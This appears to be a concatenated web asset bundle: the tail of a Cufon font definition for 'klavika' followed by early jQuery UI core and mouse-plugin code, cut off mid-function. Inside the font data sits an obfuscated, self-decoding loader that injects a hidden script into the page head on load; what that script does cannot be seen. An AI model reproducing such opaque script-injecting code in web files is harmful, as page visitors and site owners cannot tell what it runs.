108,-20,-108,25v0,35,-2,63,37,62r114,0r0,19xm51,-54v-8,45,62,43,101,34r0,-91v-53,0,-113,-10,-101,57","w":222},{"w":79},{"d":"54,-240r0,221r108,0r0,19r-130,0r0,-240r22,0","w":177,"k":{"}":-4,"x":-5,"v":16,"g":11,"d":4,"\\":22,"V":34,"Q":13,"@":7,"?":13,"\/":-5,"*":54,"!":-4,"A":-1,"C":10,"G":10,"O":13,"S":5,"T":41,"W":26,"Y":40,"a":4,"c":2,"e":4,"f":11,"o":4,"s":2,"t":11,"u":2,"w":9,",":-3,".":-3,":":4,";":4,"-":56,"y":16,"U":11}},{"d":"149,-123r15,6v-7,20,-18,41,-44,41v-27,0,-38,-28,-58,-28v-14,0,-21,11,-29,30r-15,-7v9,-24,22,-40,44,-40v27,0,39,28,59,28v16,0,22,-15,28,-30","w":178},{"d":"135,-44v12,52,-71,55,-110,39r4,-17v30,9,85,17,85,-22v0,-25,-1,-28,-41,-37v-44,-10,-47,-21,-47,-53v0,-48,65,-52,107,-39r-2,18v-28,-5,-92,-15,-84,22v0,24,2,27,34,35v51,13,54,21,54,54","w":156,"k":{"]":-5,")":2,":":1,";":1,"-":4}},{"d":"23,-92r0,-18r84,0r0,18r-84,0","w":130,"k":{"V":18,"X":23,"x":8,")":13,"g":2,"]":11,"}":11,"M":3,"1":13,"4":-2,"3":6,"j":2,"2":9,"5":5,"7":16,"9":5,"T":38,"W":13,"Y":31,"e":-1,"f":11,"z":2,"t":9,"a":3,"c":-4,"A":11,"Z":9,"S":12,"J":2}},{"d":"156,-175r-85,246r-21,0r27,-71r-12,0r-60,-175r22,0r54,160r54,-160r21,0","w":159,"k":{"x":-4,"v":-2,"g":2,"d":1,"\\":-4,"\/":4,"*":-14,"a":3,"e":1,"f":-2,"t":-4,"w":-2,",":25,".":25,"y":-2}},{"d":"114,42r-89,-285r21,0r89,285r-21,0","w":158,"k":{"x":-5,"v":9,"p":-4,"j":-11,"g":-4,"d":4,"V":25,"Q":7,"M":4,"9":5,"8":7,"7":7,"6":11,"5":5,"4":13,"3":4,"1":11,"0":11,"C":7,"G":7,"J":-14,"O":7,"S":7,"T":25,"W":20,"Y":25,"e":2,"f":4,"s":2,"t":4,"u":2,"w":4,"z":-4,"y":4,"U":9}},{"d":"85,-211r-10,14v-15,-8,-33,-18,-48,-29r10,-16v16,11,34,22,48,31","w":111},{"d":"52,-284r0,360r-14,0r0,-360r14,0","w":89},{"d":"159,0r-21,0r0,-142v0,-13,-7,-17,-19,-17v-14,0,-46,8,-68,20r0,139r-20,0r0,-175r18,0r1,16v34,-18,109,-40,109,20r0,139","w":187,"k":{"\\":2}},{"d":"127,-249r-3,16v-27,-4,-58,-10,-58,23r0,35r54,0r-2,18r-52,0r0,157r-21,0r0,-157r-32,0r0,-18r32,0v-3,-44,2,-82,46,-79v10,0,26,2,36,5","w":128,"k":{"v":-2,"x":-2,"\/":16,"\\":-18,")":-13,"?":-13,"!":-7,"*":-18,"g":8,"]":-18,"@":-7,"d":5,"}":-16,"q":2,"e":5,"o":5,"y":-2,",":32,".":32,":":5,";":5,"-":13,"a":6,"c":4,"s":4,"w":-2}},{"d":"14,-180r-10,-18v27,-11,40,-36,79,-35r0,233r-21,0r0,-208","w":117,"k":{"\\":-9,"7":-4}},{"d":"45,-159r-18,0r0,-88r18,0r0,88","w":72},{"d":"143,27v3,-51,-110,-5,-110,-60v0,-9,3,-21,16,-30v-45,-28,-36,-125,42,-116v26,3,48,6,77,4r0,15r-21,2v31,51,-2,124,-80,102v-15,12,-22,34,2,36v41,4,100,3,94,46v10,57,-85,55,-136,40r3,-17v31,10,126,16,113,-22xm138,-114v1,-34,-10,-47,-47,-47v-37,0,-48,13,-47,47v0,33,15,42,47,42v32,0,47,-10,47,-42","w":184,"k":{"}":-11,"x":-4,"v":-4,"j":-9,"g":3,"d":2,"]":-13,"\/":-9,"*":-9,")":-4,"a":2,"e":2,"o":2,"w":-2,",":2,".":2,"-":1,"y":-5}},{"d":"19,-19v36,-52,96,-102,106,-160v8,-48,-68,-41,-100,-30r-4,-18v13,-4,36,-9,57,-9v58,0,67,21,67,61v0,43,-71,117,-99,156r101,0r0,19r-128,0r0,-19","w":174,"k":{"}":-4,"\\":2,"7":-2,"4":18,"0":2,"-":8}},{"d":"32,0r-23,0r59,-88r-58,-87r22,0r47,70r47,-70r23,0r-59,87r60,88r-23,0r-48,-72","w":158,"k":{"}":-5,"x":-2,"v":-3,"d":1,"]":-4,"\\":-2,"\/":-5,"*":-7,")":-2,"w":-3,",":-1,".":-1,"-":8,"y":-3}},{"d":"75,4v-66,0,-46,-71,-50,-129v-4,-54,57,-62,108,-48r0,-74r21,-3r0,250r-19,0r-1,-17v-18,13,-40,21,-59,21xm133,-37r0,-117v-37,-6,-92,-19,-87,29v5,42,-21,111,30,110v22,0,40,-9,57,-22","w":184,"k":{"}":-11,"]":-11,"\\":-4,")":-5}},{"d":"104,-179r3,21v-18,8,-39,21,-56,32r0,126r-20,0r0,-175r18,0r1,26v19,-12,37,-24,54,-30","w":112,"k":{"}":-9,"x":-3,"v":-7,"g":2,"d":1,"]":-11,"\\":-4,"\/":4,"*":-9,")":-4,"a":3,"c":-1,"e":-1,"f":-2,"o":2,"s":1,"t":-1,"w":-5,",":25,".":25,":":4,";":4,"-":4,"y":-8}},{"d":"32,0r0,-31r22,0v3,32,-8,50,-17,70r-10,-4r13,-35r-8,0","w":86,"k":{"V":38,"X":-2,"v":23,"x":-1,"Q":5,")":9,"*":36,"g":2,"]":4,"@":11,"}":7,"1":18,"4":18,"%":22,"3":-2,"8":2,"C":4,"O":5,"T":38,"U":9,"W":30,"Y":49,"o":4,"y":22,"f":14,"G":4,"t":11,"w":13,"A":-4}},{"d":"195,-172v0,90,24,176,-84,176v-107,0,-84,-86,-84,-176v0,-41,22,-71,84,-71v62,0,84,30,84,71xm111,-15v90,0,63,-83,63,-156v0,-34,-17,-53,-63,-53v-90,0,-63,83,-63,156v0,34,17,53,63,53","w":221,"k":{"V":4,"X":2,"\/":5,"\\":-2,")":5,"]":4,"}":4,"T":8,"W":3,"Y":5,",":5,".":5,":":4,";":4,"A":4,"Z":3}},{"d":"32,-240r22,0r0,238v0,30,-3,31,-44,71r-14,-15v35,-35,36,-36,36,-54r0,-240","w":84,"k":{"A":2}},{"d":"120,-217v-76,-4,-70,34,-70,97v12,-5,34,-10,51,-10v56,0,62,28,62,76v0,36,-17,58,-66,58v-92,0,-61,-83,-68,-159v-7,-74,57,-91,129,-76r-3,18v-9,-2,-24,-4,-35,-4xm142,-75v9,-47,-64,-39,-92,-25v-2,46,-4,85,47,85v44,0,47,-21,45,-60","w":186,"k":{"}":-9,"]":-4,"\\":-4,"9":3,"8":2,"7":-1,"5":1,"3":1,"2":1,"1":2,"\/":4,")":-5}},{"d":"32,-111r0,-122r119,0r0,19r-98,0r0,84v15,0,23,1,42,1v52,2,60,29,58,75v11,59,-77,68,-130,50r4,-18v47,12,120,17,105,-49v8,-50,-55,-39,-100,-40","w":178,"k":{"]":-5,"\\":-4,"9":3,"7":-1,"1":3,"\/":2,")":-2}},{"d":"64,-15v78,4,71,-34,71,-97v-12,5,-34,9,-51,9v-57,0,-62,-27,-62,-76v0,-36,18,-57,66,-57v93,0,60,83,68,159v7,74,-58,92,-129,75r3,-17v9,2,23,4,34,4xm42,-158v-9,46,64,39,93,26v2,-46,4,-85,-47,-85v-44,0,-48,20,-46,59","w":184,"k":{"}":2,"9":2,"8":1,"7":4,"6":3,"5":2,"3":2,"2":3,"\/":5,")":2,",":7,".":7,":":2,";":2}},{"d":"20,-4r3,-18v38,9,104,18,104,-29v0,-36,-5,-57,-41,-57r-48,0r0,-18v38,1,85,4,85,-33v0,-38,1,-61,-43,-58v-16,0,-38,2,-53,5r-3,-18v47,-12,120,-10,120,44v0,36,1,58,-29,69v29,4,33,32,33,68v0,57,-75,61,-128,45","w":176,"k":{"9":2,"7":1,"6":1,"5":1,"3":1,"1":1,"\/":4,",":3,".":3,":":2,";":2}},{"d":"101,-236v102,0,72,94,72,178v0,36,-19,62,-72,62v-102,0,-72,-95,-72,-179v0,-36,19,-61,72,-61xm101,-217v-83,0,-51,93,-51,158v0,30,12,44,51,44v83,0,51,-93,51,-158v0,-30,-12,-44,-51,-44","w":201,"k":{"}":2,"7":1,"3":1,"2":1,"\/":4,")":7,",":1,".":1}},{"d":"54,-240r0,240r-22,0r0,-240r22,0xm184,-240r-97,118r103,122r-26,0r-102,-122r95,-118r27,0","w":204,"k":{"}":-5,"x":-2,"v":14,"q":9,"p":2,"m":2,"g":13,"d":9,"]":-5,"\\":4,"X":-2,"Q":14,"@":16,"*":5,")":-2,"C":11,"G":11,"O":14,"S":7,"T":5,"Y":5,"n":2,"a":9,"c":8,"e":9,"o":9,"s":5,"t":7,"u":9,"w":7,":":4,";":4,"-":38,"y":14,"U":5}},{"d":"11,-214r0,-19r134,0r0,18r-100,215r-22,0r101,-214r-113,0","w":153,"k":{"}":-7,"]":-7,"\\":-9,"@":4,"?":-9,"9":1,"8":8,"7":-2,"6":4,"4":18,"1":-7,"0":4,"\/":20,")":-7,",":40,".":40,":":20,";":20,"-":16}},{"d":"68,-141v-1,12,8,16,22,15r0,19v-14,-1,-23,2,-22,14v-8,61,31,160,-61,144r0,-19v17,-1,40,6,40,-14r0,-109v0,-13,5,-25,23,-26v-18,0,-23,-12,-23,-25r0,-109v1,-20,-22,-14,-40,-15r0,-18v34,-2,61,2,61,35r0,108","w":111},{"d":"180,-63r-36,0r0,63r-21,0r0,-63r-112,0r0,-22r105,-148r28,0r0,152r36,0r0,18xm31,-81r92,0r0,-130","w":194,"k":{"]":-4,"9":3,"5":2,"1":4,")":-2,",":5,".":5,"-":4}},{"d":"42,-81v-2,41,1,68,46,66v18,0,39,-3,56,-8r3,17v-16,6,-39,10,-60,10v-72,1,-66,-54,-65,-119v0,-36,16,-64,65,-64v63,1,66,41,64,98r-109,0xm87,-161v-39,0,-47,23,-45,61r88,0v2,-37,-3,-61,-43,-61","w":172,"k":{"}":-4,"x":-2,"v":1,"]":-11,"\\":4,"\/":-2,")":-4,"a":3,",":-3,".":-3,":":-3,";":-3,"-":-3,"y":1}},{"d":"110,-179v65,0,44,72,49,129v4,54,-57,62,-108,48r0,73r-20,3r0,-249r19,0r1,16v18,-13,40,-20,59,-20xm51,-138r0,117v37,6,93,18,88,-29v-4,-42,21,-112,-31,-110v-22,0,-40,9,-57,22","k":{"}":2,"\\":5,"\/":2,")":4,":":1,";":1}},{"d":"117,-19r4,16v-29,11,-76,14,-76,-31r0,-123r-34,0r0,-18r34,0r0,-42r21,-3r0,45r53,0r-2,18r-51,0r0,121v-5,29,31,23,51,17","w":133,"k":{"}":-7,"x":-4,"v":-2,"g":1,"d":1,"]":-4,"\\":-5,"\/":-5,")":-4,"a":1,"e":1,"o":1,"w":-3,",":-5,".":-5,"-":10,"y":-2}},{"d":"98,45r-16,10v-74,-101,-73,-227,0,-329r16,10v-39,62,-50,103,-50,155v0,52,11,92,50,154","w":108,"k":{"x":-2,"v":4,"q":4,"m":4,"j":-14,"g":2,"d":7,"X":-5,"V":-7,"Q":5,"@":14,"?":-2,"9":2,"8":4,"7":-9,"6":4,"5":-2,"4":9,"3":-4,"2":-5,"1":2,"0":7,"+":11,"*":4,"%":4,"$":4,"#":7}},{"d":"29,-175r21,0r0,142v0,13,7,17,19,17v14,0,45,-8,67,-20r0,-139r21,0r0,175r-18,0r-2,-16v-33,18,-108,40,-108,-20r0,-139","w":187},{"d":"169,-59v0,39,-13,63,-74,63v-21,0,-47,-4,-68,-12r4,-17v43,13,117,24,117,-33v0,-37,-1,-42,-54,-54v-58,-13,-64,-24,-64,-72v0,-39,14,-59,74,-59v21,0,46,3,62,8r-3,18v-40,-9,-126,-18,-112,34v0,39,1,40,51,53v63,16,67,26,67,71","w":195,"k":{"}":-5,"v":1,"g":3,"\\":-2,"V":4,"\/":5,"A":3,"T":3,"W":2,"Y":7,"a":1,"e":1,"o":1,"t":5,"u":2,",":2,".":2,":":2,";":2,"y":2}},{"d":"51,-62r-12,0v-5,-58,-4,-122,-4,-185r21,0r0,125xm34,0r0,-31r23,0r0,31r-23,0","w":90},{"d":"32,0r0,-31r23,0r0,31r-23,0xm32,-115r0,-31r23,0r0,31r-23,0","w":87,"k":{"}":7,"v":6,"V":23,"Q":4,"M":3,"4":-4,"3":-2,"2":-2,"1":7,"*":11,")":9,"A":-2,"O":4,"T":36,"W":20,"Y":32,"o":1,"w":5,"y":2,"U":4}},{"d":"44,-140r29,-45r-53,0r0,-13r54,0r-30,-46r11,-7r31,47r30,-47r11,7r-29,46r54,0r0,13r-54,0r29,45r-11,7r-30,-47r-31,47","w":171,"k":{"}":4,")":4,",":43,".":43,":":16,";":16}},{"d":"32,0r0,-31r23,0r0,31r-23,0","w":87,"k":{"V":38,"X":-2,"v":23,"x":-1,"Q":5,")":9,"*":36,"g":2,"]":4,"@":11,"}":7,"1":18,"4":18,"%":22,"3":-2,"8":2,"C":4,"O":5,"T":38,"U":9,"W":30,"Y":49,"o":4,"y":22,"f":14,"G":4,"t":11,"w":13,"A":-4}},{"d":"228,-64r-49,0r-3,64r-19,0r3,-64r-70,0r-4,64r-19,0r4,-64r-49,0r1,-18r49,0r3,-74r-49,0r1,-18r49,0r4,-59r19,0r-4,59r71,0r3,-59r19,0r-3,59r49,0r-1,18r-49,0r-4,74r49,0xm94,-156r-3,74r70,0r4,-74r-71,0","w":258,"k":{"7":-5,"4":-5,"1":-5,")":4}},{"d":"159,0r-21,0r0,-142v0,-13,-7,-17,-19,-17v-14,0,-46,8,-68,20r0,139r-20,0r0,-247r20,-3r0,90v34,-17,108,-38,108,21r0,139","w":187,"k":{"}":4,"\\":2}},{"d":"32,-240r80,0v99,-2,74,86,74,169v0,41,-16,71,-74,71r-80,0r0,-240xm54,-221r0,202v54,1,118,6,111,-51v-8,-64,26,-156,-53,-151r-58,0","w":212,"k":{"v":-3,"\\":-2,"X":4,"V":6,"\/":7,")":4,"A":6,"T":10,"W":3,"Y":7,"w":-2,",":7,".":7,":":4,";":4,"y":-2}},{"d":"54,0r-22,0r0,-240r137,0r0,19r-115,0r0,93r107,0r0,19r-107,0r0,109","k":{"}":-9,"g":1,"d":4,"]":-9,"\\":-9,"Q":3,"?":-7,"\/":14,"*":-13,")":-7,"A":18,"C":3,"G":3,"O":3,"S":6,"W":-1,"Y":-2,"a":5,"c":2,"e":1,"o":2,"s":3,"u":1,"w":-2,",":32,".":32,":":4,";":4}},{"d":"74,4v-62,2,-46,-64,-51,-121v-5,-62,71,-71,129,-55r0,243r-21,3r0,-84v-14,8,-33,14,-57,14xm131,-32r0,-124v-40,-10,-93,-4,-87,38v6,41,-17,101,33,101v21,0,37,-6,54,-15","w":182,"k":{"}":-5,"]":-7,"\\":2,")":-4}},{"d":"26,55r-15,-10v39,-62,49,-102,49,-154v0,-52,-10,-93,-49,-155r15,-10v73,102,74,228,0,329","w":108},{"d":"29,-111r0,-17r125,0r0,17r-125,0xm29,-49r0,-17r125,0r0,17r-125,0"},{"d":"208,-237r-98,241r-16,-7r99,-240xm71,-243v51,-1,51,35,51,83v0,30,-15,48,-51,48v-51,1,-51,-36,-51,-84v0,-30,15,-47,51,-47xm71,-228v-41,-2,-32,34,-33,69v0,20,8,31,33,31v41,0,32,-33,33,-68v0,-20,-8,-32,-33,-32xm231,-127v51,-1,51,35,51,83v0,30,-15,48,-51,48v-51,1,-52,-35,-52,-84v0,-30,16,-47,52,-47xm231,-112v-40,-2,-34,33,-34,68v0,20,9,32,34,32v40,2,32,-33,33,-68v0,-20,-8,-32,-33,-32","w":303,"k":{"}":4,"]":4,"4":-7,"1":4,")":9}},{"d":"181,-80v0,101,-74,79,-149,80r0,-240v59,3,142,-18,142,47v0,34,2,59,-27,68v19,3,34,18,34,45xm127,-19v36,1,33,-28,33,-61v0,-44,-64,-32,-106,-33r0,94r73,0xm116,-132v39,0,37,-27,37,-63v0,-40,-63,-22,-99,-26r0,89r62,0","w":201,"k":{"}":-4,"v":-1,"]":-5,"\\":-4,"V":4,"\/":2,"A":2,"T":6,"W":1,"Y":7,"-":-4,"y":-1}},{"d":"22,-158r1,-17r113,0r0,17r-94,141r97,0r0,17r-119,0r0,-17r94,-141r-92,0","w":157,"k":{"g":2,"]":-4,"\/":-7,"a":1,"-":5}},{"d":"108,-224v-89,0,-52,89,-60,158v-7,58,63,55,114,46r2,18v-65,16,-143,3,-137,-64v7,-87,-25,-177,80,-177v17,0,39,1,57,5r-2,18v-16,-3,-39,-4,-54,-4","k":{"}":-14,"x":-2,"v":7,"q":5,"g":4,"d":5,"]":-11,"\\":-4,"Q":6,"?":-7,"\/":2,"*":-7,")":-7,"A":-1,"C":5,"G":5,"O":6,"a":4,"c":6,"e":6,"f":2,"o":6,"t":2,"u":4,"w":2,",":-2,".":-2,":":-3,";":-3,"-":23,"y":7,"U":1}},{"d":"234,0r-5,-219r-70,188r-32,0r-70,-188r-5,219r-21,0r7,-240r31,0r74,196r74,-196r31,0r8,240r-22,0","w":286,"k":{"x":-2,"\\":-2,"\/":4,"A":-1,"e":1,"o":1,":":3,";":3,"-":3}},{"d":"18,-80r0,-15r143,-84r9,15r-131,76r132,76r-9,16","w":198},{"d":"133,-243r-89,285r-21,0r89,-285r21,0","w":158,"k":{"x":4,"q":11,"p":11,"m":11,"g":14,"d":13,"V":-5,"Q":4,"M":4,"9":2,"8":9,"7":-9,"6":2,"4":13,"1":-2,"0":5,"A":22,"C":5,"G":5,"O":4,"S":4,"T":-7,"W":-5,"Y":-5,"n":11,"a":14,"c":11,"e":13,"f":2,"o":14,"s":14,"t":4,"u":9,"w":5,"z":5,"r":11,"y":2}},{"d":"166,0r-113,-219r0,219r-21,0r0,-240r31,0r114,219r0,-219r20,0r0,240r-31,0","w":229},{"d":"154,-100r10,-58v-19,-6,-45,-9,-47,13v-1,14,-6,28,-8,42v-2,11,1,13,13,13v9,0,24,-4,32,-10xm118,-74v-41,0,-20,-44,-18,-71v3,-40,51,-35,83,-23r-13,76v36,12,59,-17,59,-52v0,-53,-33,-83,-90,-83v-54,0,-97,43,-97,107v0,63,34,107,109,107v24,0,47,-6,70,-16r5,15v-89,47,-203,-1,-203,-106v0,-73,51,-123,116,-123v71,0,108,42,108,99v0,53,-51,90,-91,60v-10,5,-22,10,-38,10","w":270,"k":{"}":4,"]":2,")":5,"A":5,",":14,".":14}},{"d":"100,39r-20,0r0,-36v-18,-1,-37,-3,-55,-10r4,-17v42,11,109,24,109,-33v0,-32,-1,-36,-51,-52v-60,-19,-61,-26,-61,-67v0,-40,11,-58,61,-60r0,-36r21,0r0,36v17,1,34,2,48,6r-2,18v-43,-4,-107,-24,-107,36v0,33,1,34,36,46v72,24,76,30,76,73v0,42,-13,58,-59,60r0,36","k":{"]":-5,"7":-5,"4":-5,"1":-7,")":-5}},{"d":"190,0r-23,-63r-111,0r-23,63r-20,0r83,-240r31,0r84,240r-21,0xm112,-228r-50,147r99,0","w":223},{"d":"32,0r0,-240r82,0v65,1,66,36,66,93v0,33,-18,56,-66,56r-60,0r0,91r-22,0xm158,-147v0,-42,3,-74,-44,-74r-60,0r0,110v44,-2,104,12,104,-36","w":195,"k":{"}":-4,"x":-5,"v":-9,"d":1,"]":-4,"\\":-9,"X":6,"\/":18,"*":-14,"!":-4,"A":21,"Z":4,"a":1,"f":-4,"t":-5,"w":-7,",":45,".":45,":":5,";":5,"-":3,"y":-7}},{"d":"45,-159r-18,0r0,-88r18,0r0,88xm100,-159r-18,0r0,-88r18,0r0,88","w":127},{"d":"166,-180v1,31,-6,44,-42,61v40,18,48,33,48,67v0,39,-21,56,-72,56v-92,0,-98,-99,-25,-123v-35,-17,-43,-33,-42,-61v0,-31,16,-56,67,-56v51,0,66,25,66,56xm152,-53v0,-33,-9,-36,-52,-56v-43,18,-52,23,-52,56v0,28,14,38,52,38v38,0,52,-10,52,-38xm54,-183v-1,33,7,37,46,55v39,-18,46,-23,45,-55v0,-22,-10,-34,-45,-34v-35,0,-46,12,-46,34","w":199,"k":{"}":2,"\\":7,"9":2,"7":2,"4":1,"3":2,"2":1,"1":4,"\/":4,")":4,",":2,".":2}},{"d":"32,0r0,-31r22,0v3,32,-8,50,-17,70r-10,-4r13,-35r-8,0xm32,-115r0,-31r22,0r0,31r-22,0","w":86},{"d":"109,-179v63,-2,45,64,50,121v6,62,-70,71,-128,55r0,-244r20,-3r0,84v14,-8,34,-13,58,-13xm51,-144r0,125v41,10,94,3,88,-39v-6,-41,17,-101,-33,-101v-21,0,-38,6,-55,15","w":182,"k":{"\/":4,")":4,"-":-2}},{"w":79},{"d":"55,-99v21,-21,73,-37,64,-87v10,-57,-50,-49,-94,-40r-3,-18v17,-4,35,-7,52,-7v56,0,66,19,66,64v0,60,-42,75,-72,104xm55,0r0,-35r23,0r0,35r-23,0","w":164},{"d":"155,13r-154,0r0,-9r154,0r0,9","w":156},{"d":"180,-95r0,15r-144,84r-9,-16r132,-76r-131,-76r9,-15","w":198}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+52-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("F~lr(qR0#)b_FIy=oqP`B~BbO?Rrlqb_O?2`#)3}lzwDH]07H[jnHzrp)rlB)qYH3zzeo0oOXyPXF?e?izy6(ilJo.tkH.f;M};jpzYJtfISCP~@B2F*;Rm^N3i.Xz)OHl#(JopMWs7&+yq}-e16Dj_nkY`]0r?[Gv4=wbUuH@Y_l&C}l]2Gl@BD.0-?R.+];CD[M.3yJ@N-oz;sm7-_B?sC3}Ce^izIp+RR^Pkn.+t+NzfJB&W=H7tuO]G7*}Rk(~y0FIB7FiYe^.tDJSr7*}tD(Srk*qYy(qo0#IY}^)B_l7v}(@yk#@;bp[0=#)H-H7vn#]0nO7Wum}o[ork_F.w-^]e]o~P}#)v}OIvqHOR-#)b_H?z_o@2s(Pk_H?PwlqP]#~yn(qRy(}3`H)YJ*qRsMIG6OIvqHOR-#)b_H?z_o@2s(Pk_H?Pw(~b&H)Y-([R0MSCv;yk_;.HGOIGkOIGY;]RwH?srH?jJ*qRn(i++*?+_o~z]oIsD(?Rso~yn(7v-([R0(qPjli+elqb`FSje^~k=F`jeF)o(HrjeOz0bJPjeOO0eFI+W")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":183,"face":{"font-family":"klavika","font-weight":300,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 0 0 0 0 0 0 0 0","ascent":"270","descent":"-90","x-height":"4","bbox":"-4 -285.934 311 76","underline-thickness":"7.2","underline-position":"-40.68","stemh":"19","stemv":"21","unicode-range":"U+0020-U+007E"}}));


/*
 * jQuery UI @VERSION
 *
 * Copyright (c) 2008 Paul Bakaus (ui.jquery.com)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI
 */
;(function($) {

$.ui = {
	plugin: {
		add: function(module, option, set) {
			var proto = $.ui[module].prototype;
			for(var i in set) {
				proto.plugins[i] = proto.plugins[i] || [];
				proto.plugins[i].push([option, set[i]]);
			}
		},
		call: function(instance, name, args) {
			var set = instance.plugins[name];
			if(!set) { return; }
			
			for (var i = 0; i < set.length; i++) {
				if (instance.options[set[i][0]]) {
					set[i][1].apply(instance.element, args);
				}
			}
		}	
	},
	cssCache: {},
	css: function(name) {
		if ($.ui.cssCache[name]) { return $.ui.cssCache[name]; }
		var tmp = $('<div class="ui-gen">').addClass(name).css({position:'absolute', top:'-5000px', left:'-5000px', display:'block'}).appendTo('body');
		
		//if (!$.browser.safari)
			//tmp.appendTo('body'); 
		
		//Opera and Safari set width and height to 0px instead of auto
		//Safari returns rgba(0,0,0,0) when bgcolor is not set
		$.ui.cssCache[name] = !!(
			(!(/auto|default/).test(tmp.css('cursor')) || (/^[1-9]/).test(tmp.css('height')) || (/^[1-9]/).test(tmp.css('width')) || 
			!(/none/).test(tmp.css('backgroundImage')) || !(/transparent|rgba\(0, 0, 0, 0\)/).test(tmp.css('backgroundColor')))
		);
		try { $('body').get(0).removeChild(tmp.get(0));	} catch(e){}
		return $.ui.cssCache[name];
	},
	disableSelection: function(e) {
		e.unselectable = "on";
		e.onselectstart = function() { return false; };
		if (e.style) { e.style.MozUserSelect = "none"; }
	},
	enableSelection: function(e) {
		e.unselectable = "off";
		e.onselectstart = function() { return true; };
		if (e.style) { e.style.MozUserSelect = ""; }
	},
	hasScroll: function(e, a) {
		var scroll = /top/.test(a||"top") ? 'scrollTop' : 'scrollLeft', has = false;
		if (e[scroll] > 0) return true; e[scroll] = 1;
		has = e[scroll] > 0 ? true : false; e[scroll] = 0;
		return has;
	}
};


/** jQuery core modifications and additions **/

var _remove = $.fn.remove;
$.fn.remove = function() {
	$("*", this).add(this).trigger("remove");
	return _remove.apply(this, arguments );
};

// $.widget is a factory to create jQuery plugins
// taking some boilerplate code out of the plugin code
// created by Scott GonzÃ¡lez and JÃ¶rn Zaefferer
function getter(namespace, plugin, method) {
	var methods = $[namespace][plugin].getter || [];
	methods = (typeof methods == "string" ? methods.split(/,?\s+/) : methods);
	return ($.inArray(method, methods) != -1);
}

$.widget = function(name, prototype) {
	var namespace = name.split(".")[0];
	name = name.split(".")[1];
	
	// create plugin method
	$.fn[name] = function(options) {
		var isMethodCall = (typeof options == 'string'),
			args = Array.prototype.slice.call(arguments, 1);
		
		if (isMethodCall && getter(namespace, name, options)) {
			var instance = $.data(this[0], name);
			return (instance ? instance[options].apply(instance, args)
				: undefined);
		}
		
		return this.each(function() {
			var instance = $.data(this, name);
			if (isMethodCall && instance && $.isFunction(instance[options])) {
				instance[options].apply(instance, args);
			} else if (!isMethodCall) {
				$.data(this, name, new $[namespace][name](this, options));
			}
		});
	};
	
	// create widget constructor
	$[namespace][name] = function(element, options) {
		var self = this;
		
		this.widgetName = name;
		this.widgetBaseClass = namespace + '-' + name;
		
		this.options = $.extend({}, $.widget.defaults, $[namespace][name].defaults, options);
		this.element = $(element)
			.bind('setData.' + name, function(e, key, value) {
				return self.setData(key, value);
			})
			.bind('getData.' + name, function(e, key) {
				return self.getData(key);
			})
			.bind('remove', function() {
				return self.destroy();
			});
		this.init();
	};
	
	// add widget prototype
	$[namespace][name].prototype = $.extend({}, $.widget.prototype, prototype);
};

$.widget.prototype = {
	init: function() {},
	destroy: function() {
		this.element.removeData(this.widgetName);
	},
	
	getData: function(key) {
		return this.options[key];
	},
	setData: function(key, value) {
		this.options[key] = value;
		
		if (key == 'disabled') {
			this.element[value ? 'addClass' : 'removeClass'](
				this.widgetBaseClass + '-disabled');
		}
	},
	
	enable: function() {
		this.setData('disabled', false);
	},
	disable: function() {
		this.setData('disabled', true);
	}
};

$.widget.defaults = {
	disabled: false
};


/** Mouse Interaction Plugin **/

$.ui.mouse = {
	mouseInit: function() {
		var self = this;
	
		this.element.bind('mousedown.'+this.widgetName, function(e) {
			return self.mouseDown(e);
		});
		
		// Prevent text selection in IE
		if ($.browser.msie) {
			this._mouseUnselectable = this.element.attr('unselectable');
			this.element.attr('unselectable', 'on');
		}
		
		this.started = false;
	},
	
	// TODO: make sure destroying one instance of mouse doesn't mess with
	// other instances of mouse
	mouseDestroy: function() {
		this.element.unbind('.'+this.widgetName);
		
		// Restore text selection in IE
		($.browser.msie
			&& this.element.attr('unselectable', this._mouseUnselectable));
	},
	
	mouseDown: function(e) {
		// we may have missed mouseup (out of window)
		(this._mouseStarted && this.mouseUp(e));
		
		this._mouseDownEvent = e;
		
		var self = this,
			btnIsLeft = (e.which == 1),
			elIsCancel = (typeof this.options.cancel == "string" ? $(e.target).is(this.options.cancel) : false);
		if (!btnIsLeft || elIsCancel || !this.mouseCapture(e)) {
			return true;
		}
		
		this._mouseDelayMet = !this.options.delay;
		if (!this._mouseDelayMet) {
			this._mouseDelayTimer = setTimeout(function() {
				self._mouseDelayMet = true;
			}, this.options.delay);
		}
		
		if (this.mouseDistanceMet(e) && this.mouseDelayMet(e)) {
			this._mouseStarted = (this.mouseStart(e) !== false);
			if (!this._mouseStarted) {
				e.preventDefault();
				return true;
			}
		}
		
		// these delegates are required to keep context
		this._mouseMoveDelegate = function(e) {
			return self.mouseMove(e);
		};
		this._mouseUpDelegate = function(e) {
			return self.mouseUp(e);
		};
		$(document)
			.bind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
			.bind('mouseup.'+this.widgetName, this._mouseUpDelegate);
		
		return false;
	},
	
	mouseMove: function(e) {
		// IE mouseup check - mouseup happened when mouse was out of window
		if ($.browser.msie && !e.button) {
			return this.mouseUp(e);
		}
		
		if (this._mouseStarted) {
			this.mouseDrag(e);
			return false;
		}
		
		if (this.mouseDistanceMet(e) && this.mouseDelayMet(e)) {
			this._mouseStarted =
				(this.mouseStart(this._mouseDownEvent, e) !== false);
			(this._mouseStarted ? this.mouseDrag(e) : this.mouseUp(e));
		}
		
		return !this._mouseStarted;
	},
	
	mouseUp: function(e) {
		$(document)
			.unbind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
			.unbind('mouseup.'+this.widgetName, this._mouseUpDelegate);
		
		if (this._mouseStarted) {
			this._mouseStarted = false;
			this.mouseStop(e);
		}
